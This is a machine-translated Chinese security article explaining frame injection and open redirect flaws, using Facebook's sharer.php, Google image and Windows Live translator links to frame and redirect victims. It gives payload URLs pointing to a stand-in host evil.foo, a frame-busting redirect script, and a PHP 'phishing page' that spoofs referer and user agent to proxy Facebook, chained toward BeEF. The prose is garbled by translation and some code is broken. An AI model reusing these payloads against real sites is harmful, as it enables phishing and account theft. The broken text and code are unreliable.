软件开发培训班 >> 网络技术 >> 网络安全
从框架注入漏洞到非法重定向 |
|
本文标签:框架注入 非法重定向 重定向 一、框架注入 漏洞的定义, 形容: 定义: 一个框架注入 突击是一个全部基于GUI的阅读器 突击,它包括任何代码如JavaScript,VBScript(ActivX),Flash,AJAX(html+js+py) 。代码被注入是由于脚本没有对它们正确验证 。 框架弱点的注入 突击, 只管有些人可能会认为它们与HTML注入/跨站脚本是同类,我在此告诉你:“它们是不一样的 。” 这是为何: * 没有必要注入特别操纵字符,如尖括号(HTMLi/XSS) * HTMLi/XSS 过滤惯常的程序不会对 名目内注入,由于我们 惟独求插入一个URL中的非审查的参数 。 最好的解释 步骤便是举一个例子 。大多数框架注入的问题都 产生在Web 利用程序中,由于动态框架/iframe中没有足够的 施行过滤 。例如, 我们的 指标有以下网址: https://www.***.com /index.php?targeturl=/contact.php 我们的 用意是要发动钓鱼 突击窜改的targeturl参数 。我们的 指标是是插入第三方网页,依据我们的操纵,而不是原来的 联络网页: https://www.victim.foo/index.php?targeturl=http://evil.foo/login.php 注:我们 可以编码 歹意pishing链接到十六进制值,在此文章内我们没有 使用 。 二、针对网址作为有效载荷的 形容: 这种技术只工作在受害者已将您加入他的朋友清单内,假如Facebook的cookie数据 储存在阅读器中,合法的框架注入对Facebook的构成输入一个url上的网页并命名为sharer.php 。在Facebook中你将会看到,假如 联络人在线或不 承受时,他的朋友或假如他的个人 材料是公开的 。黑客将尝试增加您并 获得对于您的信息 。在Facebook会 提议您不要让每一个不被信任的 联络人加入您,由于他 可以尝试破解你的帐户,如 产生给你一个 歹意链接 。 这种 突击如何工作? 这儿是一个小的代码, 可以 使用Facebook 掩护“合法”链接注入facebook.com/sharer.php 。 /--------------------------------------\ /------\ |http:// | |share | \--------------------------------------/ \------/ 使用Google或Live查找框注入作为有效载荷的 突击: 现在 可以 使用我们的 歹意智能劫持这个 。 “合法”框架注入,我们将 使用一个值得“信任”的网站,bypass.php源代码是我们的 歹意重定向脚本,这将是解释下面的内容 。 The source code of bypass.php is my malicious redirector script, it will be explained later in the paper. Google图像框架注入 http://www.google.fr/imgres?imgurl=http://fake_url&imgrefurl=http://evil.foo/bypass.php 或 Windows live 翻译框架注入 http://www.windowslivetranslator.com/BV.aspx?ref=Internal#http://www.windowslivetranslator.com/bv.aspx?mkt=fr-FR&dl=fr&lp=en_fr&a=http://evil.foo/bypass.php 三、重定向 形容 : 重定向 漏洞同意一个邪恶的消费者对一个网站重定向给受害者 。重要 突击媒介的这种 懦弱性是pishing 。惟独在远程Web服务器的权限 可以重定向 漏洞 使用 歹意脚本php,javascript, vbscript ,ajax (worm) 。 最常见的 突击媒介是体现在双重网址中: http://site.com/redirect?r=http://malicious_website.com 四、利用 模式, 联合重定向框架注入vulnz: 先进的重定向和框架注入组合 突击: /-----------/ /-----------/ /-----------/ /-----------/ /-----------/ |facebook ---| google ---| bypass.php|---| login.php ---| b e e f : \-----------\ \-----------\ \-----------\ \-----------\ \-----------\ Facebook的sharer.php的输入源可能看起来像这样的脚本: #########################################################################
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> ######################################################################### 在Facebook中变换 歹意网址链接像这样(sharer.php script): http://www.facebook.com/ext/share.php?sid=501337&h=Crew&u=p3lo 和上面的链接Facebook的 详情浮现像这样: &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 图片查找 后果 http://www.google.fr/imgres?imgurl=http://fake_url... &&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&& 现在来看看我的成批输出转换程序(PoC)重定向脚本(bypass.php): ########################################################################### if (top.frames.length!=0) top.location=self.document.location; 第一个脚本包括在head,同意杀死第一个框架的有效载荷,URL重定向到self.document.location 。 第二个脚本同意重定向我的网页上,以先进的pishing页面 。 ############################################################################### 这是先进重定向pishing页面的 起源 (login.php): ###############################################################################
//by Czy $referer=”http://www.facebook.com/”; // spoofing FireFox 2.0 $useragent=”Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1?; $ch = curl_init(); curl_setopt ($ch, CURLOPT_URL, "http://www.facebook.com/"); curl_setopt ($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_USERAGENT, $useragent); curl_setopt($ch, CURLOPT_REFERER, $referer); curl_exec ($ch); curl_close ($ch); ?> ############################################################################### 五、尾声: 通过长 工夫时刻的探究,我认为最好的 模式来纠正这些 漏洞是 保障消费者离开该网页和网站域名的重定向页面 。 |